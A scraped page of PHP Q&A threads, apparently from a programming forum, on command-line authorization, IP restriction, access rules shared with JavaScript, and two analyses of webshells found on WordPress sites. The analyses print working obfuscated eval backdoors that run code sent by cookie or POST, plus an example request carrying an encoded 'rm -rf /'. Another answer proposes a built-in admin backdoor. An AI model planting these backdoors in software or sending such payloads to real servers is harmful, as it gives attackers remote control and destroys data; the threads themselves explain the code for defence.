Security through command line: is it a good idea? (PHP) - php

Is it OK to give full authorization to any request coming from the command line?
My idea was to make this check:
if(isset($_SERVER['argc']) AND $_SERVER['argc']>=2) {
// it must be the admin, give him full authorization, no further checks needed.
} else {
// normal web request, authentication needed.
}
Does this make sense?
Anything else I should know before I start using the command line to execute my php scripts?

It's only safe if the server has only one user. Otherwise you need to either:
Check for the correct user ID in the script
Make the script only executable for that user
(This is assuming a Linux server)

The command line is not a very good place from which to control your web application: your app displays HTML output, which is not much good to a human looking at a console (not to mention the JavaScript that won't work etc).
You could arrange for different output to be generated when running from the command line, but as a practical matter: why bother with all this? Why not have the administrator be authenticated from the web just like any other user?
If you want to have a special backdoor built into your app anyway though, I would suggest something like this (which is web-based):
define('ADMIN_BACKDOOR', true); // comment out to disable
$is_admin = defined('ADMIN_BACKDOOR') && $_SERVER['REMOTE_ADDR'] == '127.0.0.1';
This is IMO next to impossible to exploit, and it allows you admin access from a natural environment (the browser).

Related

How to restrict website accessing, if user is on remote device and not on a work computer? (work time tracker app)

I would like to make a PHP website, where employees can log in/out themselves and these logs will count as a time when they started and ended their working day. I would like to allow them to do that only on their work computer and not for example on their phone while they are still on the way, but they want to avoid "being late".
So I'm struggling with a few ideas, but any of them seems to be the right solution.
Allow using the website only for specific IP addresses. But then I realized that in our place IP address is dynamic and changing it for static costs too much in our area.
Check user location. But then I saw that when I'm checking my public IP address, the location is completely wrong! Our building isn't even close to the loaded area.
Using a COOKIE/token on a work computer. But it's very easy to set the same cookie on your own device and I'm not the only IT employee here.
Checking MAC address. As I read here it's possible only in specific cases.
Block access for mobiles. But detecting a mobile is based on browser and if the user click "Request Desktop Site" scripts will say that's a computer.
Is there another method, which I can use to achieve my goal? Am I missing something?
May I bind my app for example with some other technologies that will allow me to do that? Or maybe I should try a combination of all of them?
I couldn't find any script, which would take care of that. In the worst case it doesn't have to be "perfectly secure", but I would like to be it at least hard, annoying, or time-consuming to try to "cheat" in this system.
I would run your app in the office LAN. Nobody will be able to access it from outside except if they can do remote desktop to the office computer or if they have VPN. But if you are in the IT team you may could fix IP ranges for the office computers so that you could exclude the VPN.
In terms of security, in any case it may be better having it running in your LAN. I'm sure you've got a server somewhere and if it's not the case then you could use a NAS (Synology offers NGINX, Apache, PHP and much more) or a little Rasperry Pie or something similar.
If you haven't got a fixed IP, you could also use DynDNS and have it mapped to a sub-domain such as company-name.dyndns.org and then on your PHP app you could have a cron job that gets the IP address from the domain name and updates it every minutes (I'm sure it's quickly run). It could then store it inside a config file, this way:
<?php
define('ALLOWED_IP_FILE', 'allowed-ips.inc.php');
$ALLOWED_DOMAINS = [
'your-company.dyndns.org',
'you-at-home.dyndns.org',
];
$allowed_ips = [];
foreach ($ALLOWED_DOMAINS as $allowed_domain) {
$ip = gethostbyname($allowed_domain);
if ($ip !== $allowed_domain) {
// Store with the IP in the key and value for ease when checking the IP validity.
$allowed_ips[$ip] = $ip;
} else {
fprintf(STDERR, "ERROR: Could not find the IP of $allowed_domain!\n");
}
}
$allowed_ips_export = var_export($allowed_ips, true);
$config_file_content = <<<END_OF_CONFIG
<?php
// Don't edit! This config file is generated by cron-ip-address.php.
\$ALLOWED_IPS = $allowed_ips_export;
END_OF_CONFIG;
if (file_put_contents(ALLOWED_IP_FILE, $config_file_content) === false) {
fprintf(STDERR, 'ERROR: Could not write config file ' . ALLOWED_IP_FILE . "\n");
}
This generates a config file to include in your app. Example of content generated if you run the script I wrote above:
<?php
// Don't edit! This config file is generated by cron-ip-address.php.
$ALLOWED_IPS = array (
'142.250.203.99' => '142.250.203.99',
'23.201.250.169' => '23.201.250.169',
);
Now, in your app, just include it and test the presence of the IP in the $ALLOWED_IPS array:
<?php
include ALLOWED_IP_FILE; // If this is declared in a common config file.
// include 'allowed-ips.inc.php'; // If you haven't got a common config file.
if (!isset($ALLOWED_IPS[$_SERVER['REMOTE_ADDR']])) {
http_response_code(403);
die('Sorry, you cannot access it from here.');
}
Ideally, if what you actually want to track is when employees are in the workplace and logged on / for how long, it would be probably better to just track local machine-logins via a domain controller - a method reachable from the internet is suboptimal exactly for the reasons you mentioned.
If you have an intranet which users cannot tunnel into but can access from their work machines, I'd say hosting your login-page only inside that intranet is the easiest way to achieve what you want with the methods you suggest.
Alternatively, if employee work-machines use windows under a domain controller - you can restrict access to Windows certificate-storage, then install/push a certificate and require that to be present via your server-configuration. In that case, it doesn't matter if the website is accessible from the internet. I'm sure there are similar solutions if work-machines are not on Windows.
This admittely old question gives some pointers in the right direction on how to require client certificates from a Webserver (IIS in that case).

What does this (virus?) code do?

I found some code that I did not write in my public_html folder on my WordPress site. After a bit of effort, I was able to get it into a somewhat readable state, but it's still beyond me what it does. Could anyone with a better understanding tell me what this code was supposed to be doing?
If it helps, it had also overwritten my index.php file with this code, as well as had several references to a strange .ico file.
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function fun1($key, $valueLength)
{
$keyGuid = $key . "49d339b2-3813-478a-bfa1-1d75be92cf49";
$repeatTimes = ($valueLength / strlen($key)) + 1;
return substr(str_repeat($keyGuid, $repeatTimes), 0, $valueLength);
}
function packToHex($inputToPack)
{
return #pack("H*", $inputToPack);
}
function fun3($exploded)
{
$modCount = count($exploded) % 3;
if (!$modCount) {
eval($exploded[1]($exploded[2]));
exit();
}
}
$value = packToHex($value);
$bitwiseXor = $value ^ fun1($key, strlen($value));
$exploded = explode("#", $bitwiseXor);
fun3($exploded);
}
Short answer: It is backdoor, it allows to execute arbitrary code on the server side.
Note: all you need to see is that it has eval and takes input from the user.
What arbitrary code? Whatever they want.
Long answer:
It will take data from $_COOKIE and $_POST as you can see. This data comes from the user. We can infer that this code was designed for a malicius user recieve data (which, either the malicius user will send directly, or via a bot).
What does it dose with this data? Well, it will over all the input, one by one, and try to:
$value = packToHex($value); Interpret it as an hexadecimal string and covert it to its binary representation. Silently fail if it isn't an hexadecimal string.
$bitwiseXor = $value ^ fun1($key, strlen($value)); apply a cheap cipher over it. This is a symetric substitution cipher, it depends on $key and the hard coded guid 49d339b2-3813-478a-bfa1-1d75be92cf49. We can asume that who injected this code knows the guid and how to cipher for it (it is exactly the same code).
$exploded = explode("#", $bitwiseXor); We then separate the result by the character "#".
And fun3($exploded); interpret it as code (see [eval][1]).
If all succedes (meaning that the input from the user was such that it triggered this process), then it will exit, so that it flow of execution never reaches your code.
Now, somebody injected this code on the server. How did they do it? I do not know.
My first guess is that you have some vulnerability that allows them to upload PHP code (perhaps you have a file upload function that will happilly take PHP files and put them in a path where the user can cause the server to run them).
Of course, there are other posibilities... they may have brute forced the login to your ftp or admin login, or some other thing that would allow them to inject the code. Or you may be running some vulnerable software (an outdated or poorly configured WordPress or plugin, for example). Perhaps you downloaded and used some library or plugin that does watherver but is compromised with malware (there have been cases). or perhaps you are using the same key as your email everywhere, and it got leaked from some other vulnerable site... or, this was done by somebody who works with you and have legitimate access, or something else entirely...
What I am saying is that... sure remove that code from your server, but know that your server is vulnerable by other means, otherwise it wouldn't have got compromised in the first place. I would assume that whoever did this is out there, and may eventually notice you took it down and compromise your server again (Addendum: In fact, there could be some other code in your server that puts it back again if it is not there).
So go cover all your bases. Change your passwords (and use strong ones). Use https. Configure your server properly. Keep your software up to date.
If you have custom PHP code: Validate all input (including file uploads). Sanitize whatever you will send back to the user. Use prepared sentences. Avoid suspicius third party code, do not copy and paste without understanding (I know you can do a lot without really understanding how it works, but when it fails is when you really need the knowledge).
Addendum:
If you can, automate updates and backups.
Yes, there are security plugins for WordPress, and those can go a long way in improving its security. However, you can always configure them wrong.

Unusual Code in almost each WordPress PHP File

Can any one explain this code. I am having this code on the top of almost every php file. What is this code for. Thanks for your help.
Here is the code....
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n642afe'])) {eval($s21(${$s20}['n642afe']));} ?>
I've seen that code a number of times in different incarnations. It's a piece of injected code left by an attacker. If you break it down it almost always results in eval($var); where $var is an injected parameter (usually $_POST) that then is used to perform some sort of malicious act on your server. Bear in mind eval() will execute any linux command with the same permissions and authority of the user running Apache/PHP.
Breaking down your example
In your example you've given the following code:
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n642afe'])) {eval($s21(${$s20}['n642afe']));} ?>
This is semi-obfuscated code but let's start to work through it. The first thing we need to do here is format it to start to understand it:
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset(${$s20}['n642afe'])) {
eval($s21(${$s20}['n642afe']));
}
?>
We can see now that this is a relatively simple PHP script.
Line 1:
$sF="PCT4BA6ODSE_"; is just a variable with what seems like random rubbish in it.
Line 2:
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
This can be translated into: $s21 = "base64_decode"
Line 3:
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
As above, running strtoupper() on that string produces the result _POST.
Line 4:
The if statement here checks to see if ${s20}['n642afe'] is set. Well we know that $s20 evaluates to _POST and ${} type variables take the value as their variable name so this is really:
if(isset($_POST['n642afe'])){
Note: The n642afe part is a random parameter they've chosen so that you (or any other attacker!!!) tries to go to somefile.php?hack=yes it wouldn't work
Line 5:
The most dangerous part is here. Let's evaluate our variables in the same manner as above:
eval($s21(${$s20}['n642afe']));
The end result
eval(base64_decode($_POST['n642afe']));
If I were to send rm -rf / base64 encoded as post value for the parameter n642afe that would recursively delete everything. Unlikely it'd be able to do that without super user permissions but the point is - they'd have the same access rights as you do when you SSH to your server. Here's an example of what that'd look like:
http://example.com/infected.php?n642afe=cm0gLXJmIC8=
Translated, this becomes:
eval(base64_decode('cm0gLXJmIC8='));
And then again:
eval('rm -rf /');
My recommendation is - take the site offline immediately, update it, patch any
holes that are obvious and then make sure your server (and any other sites on there) are secure. Pay particular attention to file and folder permissions on your server. Note: this is a non-exhaustive list, there's so much more you can do to protect yourself.
If you simply delete this line you'll probably find one of two things will happen (or both):
The permissions on the "infected" file are different and the file is owned by a different user. You'll need to chmod/chown the file to get it back
The attackers will keep trying to get back in once they've been successful once. Simply removing the bad code is a good start but ask yourself this: "How did they get in in the first place?". With that in mind, please refer to my recommendation paragraph to begin to solve your issue.
Finding how they got in
To find where attackers 'got in' could be a game of cat and mouse, it's worth starting with the apache access logs though and searching for requests to your infected file with the parameter n642afe. You could also check your PHP logs to see what exactly was run and see what other holes they've opened.

Sharing access restrictions between php and javascript

The actual questions
How to "map" access restrictions so it can be used from php and javasript?
What kind of method should I use to share access restrictions / rules between php and javascript?
Explanation
I have created a RESTful backend using php which will use context-aware access control to limit data access and modification. For example, person can modify address information that belongs to him and can view (but not modify) address information of all other persons who are in the same groups. And of course, group admin can modify address details of all the persons in that group.
Now, php side is quite "simple" as that is all just a bunch of checks. Javascript side is also quite "simple" as that as well is just a bunch of checks. The real issue here is how to make those checks come from the same place?
Javascript uses checks to show/hide edit/save buttons.
PHP uses checks to make the actual changes.
and yes,
I know this would be much more simpler situation if I ran javascript (NodeJS or the like) on server, but the backend has already been made and changing ways at this point would cause major setbacks.
Maybe someone has already deviced a method to model access checks in "passive" way, then just use some sort of "compiler" to run the actual checks?
Edit:
Im case it helps to mention, the front-end (js) part is built with AngularJS...
Edit2
This is some pseudo-code to clarify what I think I am searching for, but am not at all certain that this is possible in large scale. On the plus side, all access restrictions would be in single place and easy to amend if needed. On the darkside, I would have to write AccessCheck and canAct functions in both languages, or come up with a way to JIT compile some pseudo code to javascript and php :)
AccessRestrictions = {
Address: {
View: [
OWNER, MEMBER_OF_OWNER_PRIMARY_GROUP
],
Edit: [
OWNER, ADMIN_OF_OWNER_PRIMARY_GROUP
]
}
}
AccessCheck = {
OWNER: function(Owner) {
return Session.Person.Id == Owner.Id;
},
MEMBER_OF_OWNER_PRIMARY_GROUP: function(Owner) {
return Session.Person.inGroup(Owner.PrimaryGroup)
}
}
canAct('Owner', 'Address', 'View') {
var result;
AccessRestrictions.Address.View.map(function(role) {
return AccessCheck[role](Owner);
});
}
First things first.
You can't "run JavaScript on the server" because Javascript is always run on the client, at the same way PHP is always run on the server and never on the client.
Next, here's my idea.
Define a small library of functions you need to perform the checks. This can be as simple as a single function that returns a boolean or whatever format for your permissions. Make sure that the returned value is meaningful for both PHP and Javascript (this means, return JSON strings more often than not)
In your main PHP scripts, include the library when you need to check permissions and use the function(s) you defined to determine if the user is allowed.
Your front-end is the one that requires the most updates: when you need to determine user's permission, fire an AJAX request to your server (you may need to write a new script similar to #2 to handle AJAX requests if your current script isn't flexible enough) which will simply reuse your permissions library. Since the return values are in a format that's easily readable to JavaScript, when you get the response you'll be able to check what to show to the user
There are some solutions to this problem. I assume you store session variables, like the name of the authorized user in the PHP's session. Let's assume all you need to share is the $authenticated_user variable. I assume i'ts just a string, but it can also be an array with permissions etc.
If the $authenticated_user is known before loading the AngularJS app you may prepare a small PHP file whish mimics a JS file like this:
config.js.php:
<?php
session_start();
$authenticated_user = $_SESSION['authenticated_user'];
echo "var authenticated_user = '$authenticated_user';";
?>
If you include it in the header of your application it will tell you who is logged in on the server side. The client side will just see this JS code:
var authenticated_user = 'johndoe';
You may also load this file with ajax, or even better JSONP if you wrap it in a function:
<?php
session_start();
$authenticated_user = $_SESSION['authenticated_user'];
echo <<<EOD;
function set_authenticated_user() {
window.authenticated_user = '$authenticated_user';
}
EOD;
?>

Upload file programmatically

Can I programmatically upload a file to the server (without client's interference) ? I know this is not possible in normal (.html) files. Is there anyway I can do it from .hta file? or any server side or plug-gin solution?
from an HTA, you can use the shell object to run commands just as if you were running from the command line - including FTP - but of course you'll need FTP credentials. since you said you'll be able to hardcode the files to be uploaded, i assume you have full access...
var shell = new ActiveXObject('wscript.shell');
var params = // this should be a string of ftp commands, like OPEN ftp.example.com USER PASS CWD somedir PUT c:\whatever.txt BYE
shell.run("%comspec% /c ftp.exe -i -s:" + params, 1, true);
Short answer is no.
It may be possible on some machines using a signed java applet - but from the wording of the question, that's going to be a very long juorney for you.
Based on your last comment, you might atleast need the user to load a web page. So based on an onload function, you can use an ajax hidden form to submit whatever files that you'd want to.
But getting information from your user without their knowledge might put you in a legal situation.
Good luck!!

Categories